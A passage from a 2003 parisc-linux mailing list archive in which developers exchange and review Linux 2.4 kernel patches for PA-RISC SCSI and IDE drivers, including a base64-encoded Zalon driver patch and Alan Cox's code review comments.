U0NTSV9aQUxPTgorLyoKKyoqCUF0dGFjaCBhIDUzYzcyMCBpbnRlcmZhY2VkIHZpYSBaYWxvbiBj
aGlwIG9uIEhQIGJveGVzLiAgCisqLworCitpbnQKK3phbG9uX2F0dGFjaChTY3NpX0hvc3RfVGVt
cGxhdGUgKnRwbnQsIHVuc2lnbmVkIGxvbmcgaW9fcG9ydCwgCisJICAgICBzdHJ1Y3QgcGFyaXNj
X2RldmljZSAqZGV2LCBpbnQgaXJxLCBpbnQgdW5pdCkKK3sKKwl1X3Nob3J0IGRldmljZV9pZDsK
Kwl1X2NoYXIgcmV2aXNpb247CisJaW50IGk7CisJbmNyX2NoaXAgKmNoaXA7CisJbmNyX2Rldmlj
ZSBkZXZpY2U7CisKKwl0cG50LT5wcm9jX25hbWUgPSBOQU1FNTNDOFhYOworCXRwbnQtPnByb2Nf
aW5mbyA9IG5jcjUzYzh4eF9wcm9jX2luZm87CisKKyNpZglkZWZpbmVkKFNDU0lfTkNSX0JPT1Rf
Q09NTUFORF9MSU5FX1NVUFBPUlQpICYmIGRlZmluZWQoTU9EVUxFKQorCWlmIChuY3I1M2M4eHgp
CisJCW5jcjUzYzh4eF9zZXR1cChuY3I1M2M4eHgpOworI2VuZGlmCisKKyNpZmRlZiBTQ1NJX05D
Ul9ERUJVR19JTkZPX1NVUFBPUlQKKwluY3JfZGVidWcgPSBkcml2ZXJfc2V0dXAuZGVidWc7Cisj
ZW5kaWYKKwlpZiAoaW5pdHZlcmJvc2UgPj0gMikKKwkJbmNyX3ByaW50X2RyaXZlcl9zZXR1cCgp
OworCisJbWVtc2V0KCZkZXZpY2UsIDAsIHNpemVvZihuY3JfZGV2aWNlKSk7CisJY2hpcCA9IDA7
CisJZGV2aWNlX2lkID0gUFNFVURPX1pBTE9OXzcyMF9JRDsKKwlyZXZpc2lvbiA9IDA7CisJZm9y
IChpID0gMDsgaSA8IHNpemVvZihuY3JfY2hpcF90YWJsZSkvc2l6ZW9mKG5jcl9jaGlwX3RhYmxl
WzBdKTsgaSsrKSB7CisJCWlmIChkZXZpY2VfaWQgIT0gbmNyX2NoaXBfdGFibGVbaV0uZGV2aWNl
X2lkKQorCQkJY29udGludWU7CisJCWNoaXAgPSAmZGV2aWNlLmNoaXA7CisJCW1lbWNweShjaGlw
LCAmbmNyX2NoaXBfdGFibGVbaV0sIHNpemVvZigqY2hpcCkpOworCQljaGlwLT5yZXZpc2lvbl9p
ZCA9IHJldmlzaW9uOworCQlicmVhazsKKwl9CisKKwlpZiAoIWNoaXApIHsKKwkJcHJpbnRrKE5B
TUU1M0M4WFggIjogbm90IGluaXRpYWxpemluZywgZGV2aWNlIG5vdCBzdXBwb3J0ZWRcbiIpOwor
CQlyZXR1cm4gLTE7CisJfQorCisJLyoKKwkqKiAgICBGaXggc29tZSBmZWF0dXJlcyBhY2NvcmRp
bmcgdG8gZHJpdmVyIHNldHVwLgorCSovCisKKwlkcml2ZXJfc2V0dXAuZGlmZl9zdXBwb3J0ID0g
MjsKKworCS8qCisJKiogICAgVGhlIGZvbGxvd2luZyB0aHJlZSBhcmUgbmVlZGVkIGJlZm9yZSBh
bnkgb3RoZXIgYWNjZXNzLgorCSovCisKKwl3cml0ZWIoMHgyMCwgaW9fcG9ydCArIDB4MzgpOyAv
KiBEQ05UTF9SRUcsICBFQSAgKi8KKwl3cml0ZWIoMHgwNCwgaW9fcG9ydCArIDB4MWIpOyAvKiBD
VEVTVDBfUkVHLCBFSFAgKi8KKwl3cml0ZWIoMHg4MCwgaW9fcG9ydCArIDB4MjIpOyAvKiBDVEVT
VDRfUkVHLCBNVVggKi8KKworIAkvKgorCSoqICAgIEluaXRpYWxpc2UgbmNyX2RldmljZSBzdHJ1
Y3R1cmUgd2l0aCBpdGVtcyByZXF1aXJlZCBieSBuY3JfYXR0YWNoLgorCSovCisJZGV2aWNlLmhv
c3RfaWQJCT0gZHJpdmVyX3NldHVwLmhvc3RfaWQ7CisJZGV2aWNlLnBkZXYJCT0gY2Npb19nZXRf
ZmFrZShkZXYpOworCWRldmljZS5zbG90LmJ1cwkJPSAwOworCWRldmljZS5zbG90LmRldmljZV9m
bgk9IDA7CisJZGV2aWNlLnNsb3QuYmFzZQk9ICh1X2xvbmcpaW9fcG9ydDsKKwlkZXZpY2Uuc2xv
dC5iYXNlX2MJPSAodV9sb25nKWlvX3BvcnQ7CisJZGV2aWNlLnNsb3QuYmFzZV8yCT0gMDsKKwlk
ZXZpY2Uuc2xvdC5iYXNlXzJfYwk9IDA7CisJZGV2aWNlLnNsb3QuaW9fcG9ydAk9IGlvX3BvcnQ7
CisJZGV2aWNlLnNsb3QuaXJxCQk9IGlycTsKKwlkZXZpY2UuYXR0YWNoX2RvbmUJPSAwOworCisJ
cHJpbnRrKEtFUk5fSU5GTyBOQU1FNTNDOFhYICI6IDUzYyVzIGRldGVjdGVkXG4iLCBkZXZpY2Uu
Y2hpcC5uYW1lKTsKKworCXJldHVybiBuY3JfYXR0YWNoKHRwbnQsIHVuaXQsICZkZXZpY2UpOwor
fQorI2VuZGlmCisKKwogLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09CiAqKgogKioJQ2hpcCBkZXRlY3Rpb24gZW50cnkgcG9pbnQuCkBA
IC05MjczLDYgKzk1MzAsMTAgQEAKIHN0YXRpYwogI2VuZGlmCiAjaWYgTElOVVhfVkVSU0lPTl9D
T0RFID49IExpbnV4VmVyc2lvbkNvZGUoMiw0LDApIHx8IGRlZmluZWQoTU9EVUxFKQorI2lmZGVm
IEVOQUJMRV9TQ1NJX1pBTE9OCitTY3NpX0hvc3RfVGVtcGxhdGUgZHJpdmVyX3RlbXBsYXRlID0g
U0NTSV9aQUxPTjsKKyNlbHNlCiBTY3NpX0hvc3RfVGVtcGxhdGUgZHJpdmVyX3RlbXBsYXRlID0g
TkNSNTNDOFhYOworI2VuZGlmCiAjaW5jbHVkZSAic2NzaV9tb2R1bGUuYyIKICNlbmRpZgpkaWZm
IC1OYXVyWCBkb250ZGlmZiBsaW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kvQ29uZmlnLmlu
IGxpbnV4LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVycy9zY3NpL0NvbmZpZy5pbgotLS0gbGludXgt
Mi40LjIxLXByZTcvZHJpdmVycy9zY3NpL0NvbmZpZy5pbgkyMDAzLTAzLTI3IDE5OjQzOjUwLjAw
MDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjIxLXByZTctcGEzeC9kcml2ZXJzL3Njc2kvQ29u
ZmlnLmluCTIwMDMtMDQtMTEgMTE6MTg6NDIuMDAwMDAwMDAwICswMjAwCkBAIC0xNDUsMjcgKzE0
NSw0NiBAQAogICAgICAgYm9vbCAnICB1c2Ugbm9ybWFsIElPJyBDT05GSUdfU0NTSV9TWU01M0M4
WFhfSU9NQVBQRUQKICAgIGZpCiBmaQorZGVmaW5lX2Jvb2wgQ09ORklHX0FTS19aQUxP
TiBuCitkZWZpbmVfYm9vbCBDT05GSUdfQVNLX05DUjUzQzhYWCBuCitkZWZpbmVfYm9vbCBDT05G
SUdfQVNLX1NZTTUzQzhYWCBuCitpZiBbICIkQ09ORklHX1BBUklTQyIgPSAieSIgXTsgdGhlbgor
ICAgZGVwX3RyaXN0YXRlICdaYWxvbiBTQ1NJIHN1cHBvcnQnIENPTkZJR19TQ1NJX1pBTE9OICRD
T05GSUdfR1NDICRDT05GSUdfU0NTSQorICAgaWYgWyAiJENPTkZJR19TQ1NJX1pBTE9OIiAhPSAi
biIgXTsgdGhlbgorICAgICAgZGVmaW5lX2Jvb2wgQ09ORklHX0FTS19aQUxPTiB5CisgICBmaQor
ZWxzZQorICBpZiBbICIkQ09ORklHX1BDSSIgPSAieSIgLWEgIiRDT05GSUdfU0NTSV9TWU01M0M4
WFhfMiIgIT0gInkiIF07IHRoZW4KKyAgICAgZGVwX3RyaXN0YXRlICdOQ1I1M0M4WFggU0NTSSBz
dXBwb3J0JyBDT05GSUdfU0NTSV9OQ1I1M0M4WFggJENPTkZJR19TQ1NJCisgICAgIGlmIFsgIiRD
T05GSUdfU0NTSV9OQ1I1M0M4WFgiICE9ICJuIiBdOyB0aGVuCisgICAgICAgIGRlZmluZV9ib29s
IENPTkZJR19BU0tfTkNSNTNDOFhYIHkKKyAgICAgZmkKKyAgZmkKK2ZpCiBpZiBbICIkQ09ORklH
X1BDSSIgPSAieSIgLWEgIiRDT05GSUdfU0NTSV9TWU01M0M4WFhfMiIgIT0gInkiIF07IHRoZW4K
LSAgIGRlcF90cmlzdGF0ZSAnTkNSNTNDOFhYIFNDU0kgc3VwcG9ydCcgQ09ORklHX1NDU0lfTkNS
NTNDOFhYICRDT05GSUdfU0NTSQogICAgZGVwX3RyaXN0YXRlICdTWU01M0M4WFggU0NTSSBzdXBw
b3J0JyBDT05GSUdfU0NTSV9TWU01M0M4WFggJENPTkZJR19TQ1NJCi0gICBpZiBbICIkQ09ORklH
X1BBUklTQyIgPSAieSIgXTsgdGhlbgotICAgICAgZGVwX3RyaXN0YXRlICdaYWxvbiBTQ1NJIHN1
cHBvcnQnIENPTkZJR19TQ1NJX1pBTE9OICRDT05GSUdfR1NDICRDT05GSUdfU0NTSQorICAgaWYg
WyAiJENPTkZJR19TQ1NJX1NZTTUzQzhYWCIgIT0gIm4iIF07IHRoZW4KKyAgICAgIGRlZmluZV9i
b29sIENPTkZJR19BU0tfU1lNNTNDOFhYIHkKICAgIGZpCi0gICBpZiBbICIkQ09ORklHX1NDU0lf
TkNSNTNDOFhYIiAhPSAibiIgLW8gIiRDT05GSUdfU0NTSV9aQUxPTiIgPSAieSIgLW8gIiRDT05G
SUdfU0NTSV9aQUxPTiIgPSAibSIgLW8gIiRDT05GSUdfU0NTSV9TWU01M0M4WFgiICE9ICJuIiBd
OyB0aGVuCi0gICAgICBpbnQgICcgIGRlZmF1bHQgdGFnZ2VkIGNvbW1hbmQgcXVldWUgZGVwdGgn
IENPTkZJR19TQ1NJX05DUjUzQzhYWF9ERUZBVUxUX1RBR1MgOAotICAgICAgaW50ICAnICBtYXhp
bXVtIG51bWJlciBvZiBxdWV1ZWQgY29tbWFuZHMnIENPTkZJR19TQ1NJX05DUjUzQzhYWF9NQVhf
VEFHUyAzMgotICAgICAgaW50ICAnICBzeW5jaHJvbm91cyB0cmFuc2ZlcnMgZnJlcXVlbmN5IGlu
IE1IeicgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTkMgMjAKLSAgICAgIGJvb2wgJyAgZW5hYmxl
IHByb2ZpbGluZycgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1BST0ZJTEUKK2ZpCitpZiBbICIkQ09O
RklHX0FTS19aQUxPTiIgPSAieSIgLW8gIiRDT05GSUdfQVNLX05DUjUzQzhYWCIgPSAieSIgLW8g
IiRDT05GSUdfQVNLX1NZTTUzQzhYWCIgPSAieSIgXTsgdGhlbgorICAgaW50ICAnICBkZWZhdWx0
IHRhZ2dlZCBjb21tYW5kIHF1ZXVlIGRlcHRoJyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfREVGQVVM
VF9UQUdTIDgKKyAgIGludCAgJyAgbWF4aW11bSBudW1iZXIgb2YgcXVldWVkIGNvbW1hbmRzJyBD
T05GSUdfU0NTSV9OQ1I1M0M4WFhfTUFYX1RBR1MgMzIKKyAgIGludCAgJyAgc3luY2hyb25vdXMg
dHJhbnNmZXJzIGZyZXF1ZW5jeSBpbiBNSHonIENPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU5DIDIw
CisgICBib29sICcgIGVuYWJsZSBwcm9maWxpbmcnIENPTkZJR19TQ1NJX05DUjUzQzhYWF9QUk9G
SUxFCisgICBpZiBbICIkQ09ORklHX0FTS19aQUxPTiIgPSAieSIgXTsgdGhlbgorICAgICAgZGVm
aW5lX2Jvb2wgQ09ORklHX1NDU0lfTkNSNTNDOFhYX0lPTUFQUEVEIG4KKyAgIGVsc2UKICAgICAg
IGJvb2wgJyAgdXNlIG5vcm1hbCBJTycgQ09ORklHX1NDU0lfTkNSNTNDOFhYX0lPTUFQUEVECi0g
ICAgICBpZiBbICIkQ09ORklHX1NDU0lfU1lNNTNDOFhYIiAhPSAibiIgXTsgdGhlbgotCSBib29s
ICcgIGluY2x1ZGUgc3VwcG9ydCBmb3IgdGhlIE5DUiBQUVMvUERTIFNDU0kgY2FyZCcgQ09ORklH
X1NDU0lfTkNSNTNDOFhYX1BRU19QRFMKLSAgICAgIGZpCi0gICAgICBpZiBbICIkQ09ORklHX1ND
U0lfTkNSNTNDOFhYX0RFRkFVTFRfVEFHUyIgPSAiMCIgXTsgdGhlbgotCSBib29sICcgIG5vdCBh
bGxvdyB0YXJnZXRzIHRvIGRpc2Nvbm5lY3QnIENPTkZJR19TQ1NJX05DUjUzQzhYWF9OT19ESVND
T05ORUNUCi0gICAgICBmaQotICAgICAgaWYgWyAiJENPTkZJR19FWFBFUklNRU5UQUwiID0gInki
IF07IHRoZW4KLQkgYm9vbCAnICBhc3N1bWUgYm9hcmRzIGFyZSBTWU1CSU9TIGNvbXBhdGlibGUg
KEVYUEVSSU1FTlRBTCknIENPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU1CSU9TX0NPTVBBVAotICAg
ICAgZmkKKyAgIGZpCisgICBpZiBbICIkQ09ORklHX0FTS19TWU01M0M4WFgiID0gInkiIF07IHRo
ZW4KKyAgICAgIGJvb2wgJyAgaW5jbHVkZSBzdXBwb3J0IGZvciB0aGUgTkNSIFBRUy9QRFMgU0NT
SSBjYXJkJyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfUFFTX1BEUworICAgZmkKKyAgIGlmIFsgIiRD
T05GSUdfU0NTSV9OQ1I1M0M4WFhfREVGQVVMVF9UQUdTIiA9ICIwIiBdOyB0aGVuCisgICAgICBi
b29sICcgIG5vdCBhbGxvdyB0YXJnZXRzIHRvIGRpc2Nvbm5lY3QnIENPTkZJR19TQ1NJX05DUjUz
QzhYWF9OT19ESVNDT05ORUNUCisgICBmaQorICAgaWYgWyAiJENPTkZJR19FWFBFUklNRU5UQUwi
ID0gInkiIF07IHRoZW4KKyAgICAgIGJvb2wgJyAgYXNzdW1lIGJvYXJkcyBhcmUgU1lNQklPUyBj
b21wYXRpYmxlIChFWFBFUklNRU5UQUwpJyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfU1lNQklPU19D
T01QQVQKICAgIGZpCiBmaQogaWYgWyAiJENPTkZJR19NQ0EiID0gInkiIF07IHRoZW4K

--========/3E8AE87E00006BD1/mail.tiscali.be--


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 12:54:16 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20030414115416.GQ29166@parcelfarce.linux.theplanet.co.uk>
References: <3E8AE87E00006BD1@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622381 24636 80.91.229.3 (22 Nov 2014 02:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:01 +0000 (UTC)
Cc: Gerard Roudier <groudier@free.fr>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 05:54:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77311485D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 05:54:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1952XQ-0001TI-Tt; Mon, 14 Apr 2003 12:54:16 +0100
Content-Disposition: inline
In-Reply-To: <3E8AE87E00006BD1@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18241

joel, do not include patches as attachments, include them inline.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 12:13:24 +0000
Lines: 91
Approved: news@gmane.org
Message-ID: <3E8AE87E00006C1C@ocpmta2.freegates.net>
References: <20030411155850.GA2795@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622382 24638 80.91.229.3 (22 Nov 2014 02:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 06:13:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 838EB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 06:13:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1952py-00008Y-00; Mon, 14 Apr 2003 14:13:26 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 14 Apr 2003 14:13:24 +0200
In-Reply-To: <20030411155850.GA2795@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18242

Hi Andre,


>-- Original Message --
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] parisc-linux.org kernel
>Date: Fri, 11 Apr 2003 09:58:50 -0600
>
>
>On Fri, Apr 11, 2003 at 07:40:32AM +0200, Joel Soete wrote:
>> Here is the rough diffstat (still have to reverse ql driver patches, I
>will
>> try to find time this week-end :) )
>
>cool - let me add some general comments.
>You might break the diff up into chunks along the lines that
>I've commented on them below. You should end up with something like
>15-20 patches.
>
>>  Documentation/Configure.help                      |   90 
>	I expect parisc-specific changes here.
>
>>  Makefile                                          |   16 
>	Don't submit the Makefile unless you are sure we need it.
>
...
>
>>  drivers/ide/pci/ns87415.c                         |    8 
>>  drivers/ide/setup-pci.c                           |    2 
>	Suckyio support. This probably needs to go to Andre Hedrick.
>
Can you have a look on those two small patch (parisc specific):

diff -NaurX dontdiff linux-2.4.21-pre7/drivers/ide/pci/ns87415.c linux-2.4.21-pre7-pa3x/drivers/ide/pci/ns87415.c
--- linux-2.4.21-pre7/drivers/ide/pci/ns87415.c	2003-03-27 19:43:45.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/ide/pci/ns87415.c	2003-02-28 18:43:45.000000000
+0100
@@ -27,6 +27,10 @@
 
 #include "ns87415.h"
 
+#if defined(__hppa__) && defined(CONFIG_SUPERIO)
+#include <asm/superio.h>
+#endif
+
 static unsigned int ns87415_count = 0, ns87415_control[MAX_HWIFS] = { 0
};
 
 /*
@@ -200,7 +204,11 @@
 	}
 
 	if (!using_inta)
+#if defined(__hppa__) && defined(CONFIG_SUPERIO)
+		hwif->irq = superio_get_ide_irq();	/* legacy mode */
+#else
 		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
+#endif
 	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
 		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */
 
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/ide/setup-pci.c linux-2.4.21-pre7-pa3x/drivers/ide/setup-pci.c
--- linux-2.4.21-pre7/drivers/ide/setup-pci.c	2003-04-10 08:20:37.000000000
+0200
+++ linux-2.4.21-pre7-pa3x/drivers/ide/setup-pci.c	2003-04-08 14:13:41.000000000
+0200
@@ -477,7 +477,7 @@
 	if ((d->autodma == AUTODMA) ||
 	    ((dev->class >> 8) == PCI_CLASS_STORAGE_IDE &&
 	     (dev->class & 0x80))) {
-		unsigned long dma_base = ide_get_or_set_dma_base(hwif);
+		u32 dma_base = ide_get_or_set_dma_base(hwif);
 		if (dma_base && !(pcicmd & PCI_COMMAND_MASTER)) {
 			/*
  			 * Set up BM-DMA capability

Thanks in advance for your help,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: 14 Apr 2003 12:39:46 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk>
References: <3E8AE87E00006C1C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622382 24641 80.91.229.3 (22 Nov 2014 02:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:02 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 06:37:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F0CF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 06:37:58 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3EBdmRN025682;
	Mon, 14 Apr 2003 12:39:49 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3EBdliJ025680;
	Mon, 14 Apr 2003 12:39:47 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3E8AE87E00006C1C@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18243

On Llu, 2003-04-14 at 13:13, Joel Soete wrote:
> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
> +#include <asm/superio.h>
> +#endif
> +

Please keep superio out of generic drivers


>  	if (!using_inta)
> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
> +		hwif->irq = superio_get_ide_irq();	/* legacy mode */
> +#else
>  		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
> +#endif
>  	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
>  		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */

Ughh. Ok this needs tackling in a more general way. get_legacy_irq(0/1)
perhaps. This isnt the only port we need to sort out.

Ok suppose you added superio.h to include/asm-parisc/ide.h and added
ide_get_legacy(int n) [n=0/1] for interfaces. I can do the same for the
other ports (return 14+n) and it will stay clean in 2.4 and 2.5

 
>  	     (dev->class & 0x80))) {
> -		unsigned long dma_base = ide_get_or_set_dma_base(hwif);
> +		u32 dma_base = ide_get_or_set_dma_base(hwif);

Thats reverting a fix. dma_base must be unsigned long for 64bit
platforms. Looks just like a merge error.


From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 12:53:41 +0000
Lines: 1337
Approved: news@gmane.org
Message-ID: <3E8AE87E00006CB4@ocpmta2.freegates.net>
References: <20030414115416.GQ29166@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622382 24645 80.91.229.3 (22 Nov 2014 02:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:02 +0000 (UTC)
Cc: "Gerard Roudier" <groudier@free.fr>,
	"Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 06:53:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id F34864829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 06:53:47 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1953Sx-0000ng-00; Mon, 14 Apr 2003 14:53:43 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 14 Apr 2003 14:53:41 +0200
In-Reply-To: <20030414115416.GQ29166@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
